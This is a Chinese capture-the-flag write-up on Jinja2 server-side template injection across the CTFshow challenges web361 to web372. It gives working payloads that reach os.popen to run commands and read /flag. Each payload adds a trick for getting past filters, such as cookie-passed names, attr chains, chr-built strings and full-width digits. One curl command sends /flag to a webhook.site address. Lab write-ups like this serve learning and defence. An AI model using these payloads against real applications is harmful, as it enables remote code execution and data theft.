参考文章:
https://xz.aliyun.com/t/3679
使用工具:
https://github.com/vladko312/SSTImap
web361
python的jinjia2模板注入
通常使用name={{5*5}}
的形式测试是否存在SSTI
先通过"".class.mro[1]获取到object类
再通过__subclasses__()[132]获取到<class 'os._wrap_close'>
init初始化os类,然后globals全局来查找所有的方法及变量及参数。
调用popen方法来执行命令。
payload
?name={{"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[%27popen%27]("env").read()}}
web362
过滤了数字2和3
app.py
from flask import Flask
from flask import request
from flask import render_template_string
import re
app = Flask(__name__)
@app.route('/')
def app_index():
name = request.args.get('name')
if name:
if re.search(r"2|3",name,re.I):
return ':(' template = ''' {%% block body %%} <div class="center-content error"> <h1>Hello</h1> <h3>%s</h3> </div> {%% endblock %%} ''' % (request.args.get('name'))
return render_template_string(template)
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
可以使用数字运算来绕过
?name={{"".__class__.__mro__[1].__subclasses__()[140-8].__init__.__globals__[%27popen%27]("env").read()}}
web363
过滤了单双引号,使用GET传参的方式绕过。
?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=env
web364
过滤了单双引号,以及args
使用cookie传参的方式绕过
/?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.cookies.a](request.cookies.b).read()}}
Cookie:a=popen;b=env
web365
又过滤了中括号
使用getitem函数绕过
/?name={{().__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__.__getitem__(request.cookies.a)(request.cookies.b).read()}}
Cookie:a=popen;b=env
web366
又过滤了下划线
使用attr函数绕过
/?name={{(()|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c)()|attr(request.cookies.d)(132)|attr(request.cookies.e)|attr(request.cookies.f)|attr(request.cookies.g)(request.cookies.h)(request.cookies.i)).read()}}
Cookie: a=__class__;b=__base__;c=__subclasses__;d=__getitem__;e=__init__;f=__globals__;g=__getitem__;h=popen;i=env
web367
又过滤了os
字符,上题payload依然可以。
web368
又过滤了{{
,使用{%
来绕过
/?name={%print(()|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c)()|attr(request.cookies.d)(132)|attr(request.cookies.e)|attr(request.cookies.f)|attr(request.cookies.g)(request.cookies.h)(request.cookies.i)).read()%}
Cookie: a=__class__;b=__base__;c=__subclasses__;d=__getitem__;e=__init__;f=__globals__;g=__getitem__;h=popen;i=env
web369
查看引擎相关资料:https://jinja.palletsprojects.com/en/3.1.x/templates/#builtin-filters
又过滤了request
字符
需要构造字符
使用select方法构造出_
{% set a=(()|select|string|list).pop(24) %} // a = _
payload
?name=
{% set a=(()|select|string|list).pop(24) %}
{% set init=(a,a,dict(init=a)|join,a,a)|join()%}
{% set globals=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set getitem=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set builtins=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(init)|attr(globals)|attr(getitem))(builtins)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
使用dict函数,绕过双引号过滤。
从__builtins__中直接获取chr函数和open函数。
web370
过滤了所有数字
将数字转化成全角数字来绕过
py脚本
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
while 1:
t = ''
s = input("输入想要转换的数字字符串:")
for i in s:
t += half2full(i)
print(t)
payload
?name=
{% set a=(()|select|string|list).pop(24) %}
{% set init=(a,a,dict(init=a)|join,a,a)|join()%}
{% set globals=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set getitem=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set builtins=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(init)|attr(globals)|attr(getitem))(builtins)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
web371
过滤了print,使用curl带外来绕过
curl -X POST -F xx=@/flag https://webhook.site/c56530ad-bbfc-45d1-bb42-510a63cd0b88
chr转换脚本
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
string = input("input: ")
result = ''
def str2chr(s):
global result
for i in s:
result += "chr("+half2full(str(ord(i)))+")%2b"
str2chr(string)
print(result[:-3])
注意复制这段时不要有空格,这里用vscode输出,复制时将换行识别为空格夹在数字中间,害我调试了半天。
payload
?name=
{% set a=(()|select|string|list).pop(24) %}
{% set init=(a,a,dict(init=a)|join,a,a)|join()%}
{% set globals=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set getitem=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set builtins=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set oas=(dict(o=a,s=a)|join)%}
{% set x=(q|attr(init)|attr(globals)|attr(getitem))(builtins)%}
{% set chr=x.chr%}
{% set cmd=chr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(45)%2bchr(88)%2bchr(32)%2bchr(80)%2bchr(79)%2bchr(83)%2bchr(84)%2bchr(32)%2bchr(45)%2bchr(70)%2bchr(32)%2bchr(120)%2bchr(120)%2bchr(61)%2bchr(64)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(119)%2bchr(101)%2bchr(98)%2bchr(104)%2bchr(111)%2bchr(111)%2bchr(107)%2bchr(46)%2bchr(115)%2bchr(105)%2bchr(116)%2bchr(101)%2bchr(47)%2bchr(99)%2bchr(53)%2bchr(54)%2bchr(53)%2bchr(51)%2bchr(48)%2bchr(97)%2bchr(100)%2bchr(45)%2bchr(98)%2bchr(98)%2bchr(102)%2bchr(99)%2bchr(45)%2bchr(52)%2bchr(53)%2bchr(100)%2bchr(49)%2bchr(45)%2bchr(98)%2bchr(98)%2bchr(52)%2bchr(50)%2bchr(45)%2bchr(53)%2bchr(49)%2bchr(48)%2bchr(97)%2bchr(54)%2bchr(51)%2bchr(99)%2bchr(100)%2bchr(48)%2bchr(98)%2bchr(56)%2bchr(56)%}
{% if ((lipsum|attr(globals)).get(oas).popen(cmd))%}
success
{% endif %}
web372
过滤了count,预期解是用lenth代替count,但我们用全角数字绕过,所以上题payload依然可以使用。